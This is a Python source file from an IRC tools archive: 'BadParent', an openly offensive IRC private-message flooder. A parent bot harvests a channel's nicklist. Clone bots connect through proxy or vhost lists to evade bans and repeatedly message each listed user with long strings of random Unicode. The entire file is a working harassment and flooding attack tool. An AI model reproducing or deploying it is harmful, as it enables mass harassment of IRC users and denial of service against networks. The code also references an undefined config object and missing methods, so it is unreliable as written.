archive- Random tools & helpful resources for IRC |
git clone git://git.acid.vegas/archive.git |
Log | Files | Refs | Archive |
badparent.py (8930B)
1 #!/usr/bin/env python 2 # BadParent IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random) 3 # badparent.py 4 5 ''' 6 The parent bot will join a channel, parse the entire nicklist, and maintain it during joins, quits, nick changes, etc. 7 The child bot clones will use either proxies or virtual hosts to connect and PM the nicklist. 8 Nicks that have the usermode +g *(callerid)*, +D *(privdeaf)*, and +R *(regonlymsg)* will be removed from the nicklist. 9 ''' 10 11 import argparse 12 import concurrent.futures 13 import os 14 import random 15 import ssl 16 import socket 17 import string 18 import sys 19 import threading 20 import time 21 22 server = 'irc.server.com' 23 port = 6667 24 nickname = 'BIGDADDY' 25 username = 'dad' 26 realname = 'I am horrible...' 27 28 def alert(msg): 29 print(f'{get_time()} | [+] - {msg}') 30 31 def debug(msg): 32 print(f'{get_time()} | [~] - {msg}') 33 34 def error(msg, reason=None): 35 print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}') 36 37 def error_exit(msg): 38 raise SystemExit(f'{get_time()} | [!] - {msg}') 39 40 def get_time(): 41 return time.strftime('%I:%M:%S') 42 43 def random_str(size): 44 return ''.join(random.choice(string.ascii_letters) for _ in range(size)) 45 46 def unicode(): 47 msg = '' 48 for i in range(random.randint(400,450)): 49 msg += chr(random.randint(0x1000, 0x3000)) 50 return msg 51 52 53 54 55 class parent(object): 56 def __init__(self): 57 self.nicklist = list() 58 self.sock = None 59 60 def connect(self): 61 try: 62 self.sock = socket.socket() 63 self.sock.connect((server, port)) 64 self.raw(f'USER {username} 0 * :{realname}') 65 self.raw('NICK ' + nickname) 66 except socket.error as ex: 67 error('Failed to connect to IRC server.', ex) 68 self.event_disconnect() 69 else: 70 self.listen() 71 72 def event_connect(self): 73 if config.login.nickserv: 74 self.identify(config.ident.nickname, config.login.nickserv) 75 self.join_channel(config.connection.channel, config.connection.key) 76 77 def event_disconnect(self): 78 error('The parent bot has disconected!') 79 self.sock.close() 80 81 def event_end_of_names(self, chan): 82 if self.nicklist: 83 alert(f'Found {len(self.nicklist)} nicks in channel.') 84 threading.Thread(target=load_children).start() 85 else: 86 error('Failed to parse nicklist from channel.') 87 88 def event_join(self, nick, chan): 89 if chan == config.connection.channel: 90 if nick not in self.nicklist: 91 self.nicklist.append(nick) 92 93 def event_kick(self, nick, chan, kicked): 94 if chan == config.connection.channel: 95 if kicked == config.ident.nickname: 96 time.sleep(3) 97 self.join(self.chan, self.key) 98 99 def event_names(self, chan, names): 100 if chan == config.connection.channel: 101 for name in names: 102 if name[:1] in '~!@%&+:': 103 name = name[1:] 104 if name != config.ident.nickname and name not in self.nicklist: 105 self.nicklist.append(name) 106 107 def event_nick(self, nick, new): 108 if nick in self.nicklist: 109 self.nicklist.remove(nick) 110 self.nicklist.append(new) 111 112 def event_nick_in_use(self): 113 self.raw('NICK ' + random_str(random.randint(4,7))) 114 115 def event_quit(self, nick): 116 if nick in self.nicklist: 117 self.nicklist.remove(nick) 118 119 def handle_events(self, data): 120 args = data.split() 121 if data.startswith('ERROR :Closing Link:'): 122 raise Exception('Connection has closed.') 123 elif args[0] == 'PING': 124 self.raw('PONG ' + args[1][1:]) 125 elif args[1] == '001': 126 self.event_connect() 127 elif args[1] == '433': 128 self.event_nick_in_use() 129 elif args[1] == '353': 130 chan = args[4] 131 if ' :' in data: 132 names = data.split(' :')[1].split() 133 elif ' *' in data: 134 names = data.split(' *')[1].split() 135 elif ' =' in data: 136 names = data.split(' =')[1].split() 137 else: 138 names = data.split(chan)[1].split() 139 self.event_names(chan, names) 140 elif args[1] == '366': 141 chan = args[3] 142 self.event_end_of_names(chan) 143 elif args[1] == 'JOIN': 144 nick = args[0].split('!')[0][1:] 145 chan = args[2][1:] 146 self.event_join(nick, chan) 147 elif args[1] == 'KICK': 148 chan = args[2] 149 kicked = args[3] 150 self.event_kick(nick, chan, kicked) 151 elif args[1] == 'NICK': 152 nick = args[0].split('!')[0][1:] 153 new = args[2][1:] 154 self.event_nick(nick, new) 155 elif args[1] == 'QUIT' : 156 nick = args[0].split('!')[0][1:] 157 self.event_quit(nick) 158 159 def join_channel(self, chan, key=None): 160 self.raw(f'JOIN {chan} {key}') if key else self.raw('JOIN ' + chan) 161 162 def listen(self): 163 while True: 164 try: 165 data = self.sock.recv(1024).decode('utf-8') 166 for line in (line for line in data.split('\r\n') if len(line.split()) >= 2): 167 self.handle_events(line) 168 except (UnicodeDecodeError,UnicodeEncodeError): 169 pass 170 except Exception as ex: 171 error('Unexpected error occured.', ex) 172 break 173 self.event_disconnect() 174 175 def raw(self, msg): 176 self.sock.send(bytes(msg + '\r\n', 'utf-8')) 177 178 179 180 class child: 181 def __init__(self, data_line): 182 self.data_line = data_line 183 self.sock = None 184 185 def attack(self): 186 while True: 187 try: 188 if not Parent.nicklist: 189 error('Nicklist has become empty!') 190 break 191 for name in Parent.nicklist: 192 self.sendmsg(name, unicode()) 193 time.sleep(config.throttle.pm) 194 except: 195 break 196 197 def connect(self): 198 try: 199 self.create_socket() 200 self.sock.connect((config.connection.server, config.connection.port)) 201 self.raw('USER {0} 0 * :{1}'.format(random_str(random.randint(4,7)), random_str(random.randint(4,7)))) 202 self.raw('NICK ' + random_str(random.randint(4,7))) 203 except socket.error: 204 self.sock.close() 205 else: 206 self.listen() 207 208 def create_socket(self): 209 family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET 210 if pargs.proxy: 211 proxy_server, proxy_port = self.data_line.split(':') 212 self.sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM) 213 self.sock.setblocking(0) 214 self.sock.settimeout(config.throttle.timeout) 215 self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port)) 216 elif pargs.vhost: 217 self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) 218 self.sock.bind((self.data_line, 0)) 219 if config.connection.ssl: 220 self.sock = ssl.wrap_socket(self.sock) 221 222 def listen(self): 223 while True: 224 try: 225 data = self.sock.recv(1024).decode('utf-8') 226 for line in (line for line in data.split('\r\n') if len(line.split()) >= 2): 227 args = data.split() 228 if data.startswith('ERROR :Closing Link:'): 229 raise Exception('Connection has closed.') 230 elif args[0] == 'PING': 231 self.raw('PONG ' + args[1][1:]) 232 elif args[1] == '001': 233 alert(f'Successful connection. ({self.data_line})') 234 threading.Thread(target=self.attack).start() 235 elif args[1] == '401': 236 nick = args[3] 237 self.event_bad_nick() 238 elif args[1] == '433': 239 self.raw('NICK ' + random_str(random.randint(4,7))) 240 elif args[1] == '486': 241 nick = args[-1:] 242 self.event_bad_nick(nick) 243 elif args[1] == '716': 244 nick = args[3] 245 if nick in Parent.nicklist: 246 Parent.nicklist.remove(nick) 247 elif args[1] == 'NOTICE': 248 if 'User does not accept private messages' in data: 249 nick = args[5][1:-1] 250 self.event_bad_nick(nick) 251 except (UnicodeDecodeError,UnicodeEncodeError): 252 pass 253 except: 254 break 255 self.sock.close() 256 257 def raw(self, msg): 258 self.sock.send(bytes(msg + '\r\n', 'utf-8')) 259 260 def sendmsg(self, target, msg): 261 self.raw(f'PRIVMSG {target} :{msg}') 262 263 264 265 def load_children(): 266 debug('Loading children bots...') 267 for i in range(config.throttle.concurrency): 268 debug('Concurrency round starting....') 269 with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor: 270 checks = {executor.submit(child(item).connect): item for item in data_lines} 271 for future in concurrent.futures.as_completed(checks): 272 checks[future] 273 debug('Flooding is complete. (Threads still may be running!)') 274 275 # Main 276 print('#'*56) 277 print('#{0}#'.format(''.center(54))) 278 print('#{0}#'.format('BadParent IRC PM Flooder'.center(54))) 279 print('#{0}#'.format('Developed by acidvegas in Python'.center(54))) 280 print('#{0}#'.format('https://acid.vegas/badparent'.center(54))) 281 print('#{0}#'.format(''.center(54))) 282 print('#'*56) 283 parser = argparse.ArgumentParser(usage='%(prog)s <input> [options]') 284 parser.add_argument('input', help='file to scan') 285 parser.add_argument('-p', '--proxy', help='proxy list', action='store_true') 286 parser.add_argument('-v', '--vhost', help='vhost list', action='store_true') 287 pargs = parser.parse_args() 288 if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost): 289 error_exit('Invalid arguments.') 290 if pargs.proxy: 291 try: 292 import socks 293 except ImportError: 294 error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)') 295 if not os.path.isfile(pargs.input): 296 error_exit('No such input file.') 297 data_lines = [line.strip() for line in open(pargs.input).readlines() if line] 298 debug(f'Loaded {len(data_lines)} lines from file.') 299 random.shuffle(data_lines) 300 debug('Starting parent bot connection...') 301 Parent = parent() 302 Parent.connect()